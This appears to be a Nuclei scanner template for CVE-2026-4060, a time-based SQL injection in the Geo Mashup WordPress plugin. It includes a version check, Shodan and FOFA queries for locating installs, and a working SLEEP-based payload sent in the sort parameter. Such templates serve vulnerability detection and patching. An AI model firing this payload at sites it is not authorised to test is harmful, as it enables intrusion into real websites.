id: CVE-2026-4060 info: name: Geo Mashup <= 1.13.18 - SQL Injection author: ydking0911 severity: high description: | Geo Mashup WordPress plugin <= 1.13.18 is vulnerable to time-based SQL injection via the sort parameter. The issue exists because the sort value is insufficiently sanitized in render-map.php/template tag code paths. impact: | Unauthenticated attackers can append SQL queries into existing database queries and potentially extract sensitive information using a time-based blind approach. remediation: | Update Geo Mashup to the latest version. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-4060 - https://www.wordfence.com/threat-intel/vulnerabilities/id/2fa5ae9a-532c-40f9-b70a-217f0f9cd473?source=cve - https://plugins.trac.wordpress.org/changeset/3503627/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2026-4060 epss-score: 0.01422 epss-percentile: 0.71356 cwe-id: CWE-89 metadata: verified: true max-request: 2 vendor: cyberhobo product: geo_mashup shodan-query: http.html:"geo-mashup" fofa-query: body="geo-mashup" tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,geo-mashup flow: http(1) && http(2) http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/geo-mashup/readme.txt" - "{{BaseURL}}" stop-at-first-match: true extractors: - type: regex part: body name: version group: 1 regex: - 'Stable tag:\s*([0-9.]+)' internal: true matchers-condition: or matchers: - type: dsl dsl: - "status_code == 200" - "contains(body, 'geo-mashup')" condition: and internal: true - type: dsl dsl: - "status_code == 200" - "contains(body, 'Geo Mashup')" - "compare_versions(version, '<= 1.13.18')" condition: and internal: true - raw: - | @timeout: 30s GET /?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29 HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - "duration >= 8" - "status_code == 200" - "contains(body, 'GeoMashup.createMap')" condition: and # digest: 4b0a00483046022100f54f577e862c533d07654d63f196c82fa47a505782a66456bb078e996ee9c2df022100b44538aab9833076076f5b71d6689bc142d66ab70ba075376e3d30871ed529db:922c64590222798bb761d5b6d8e72950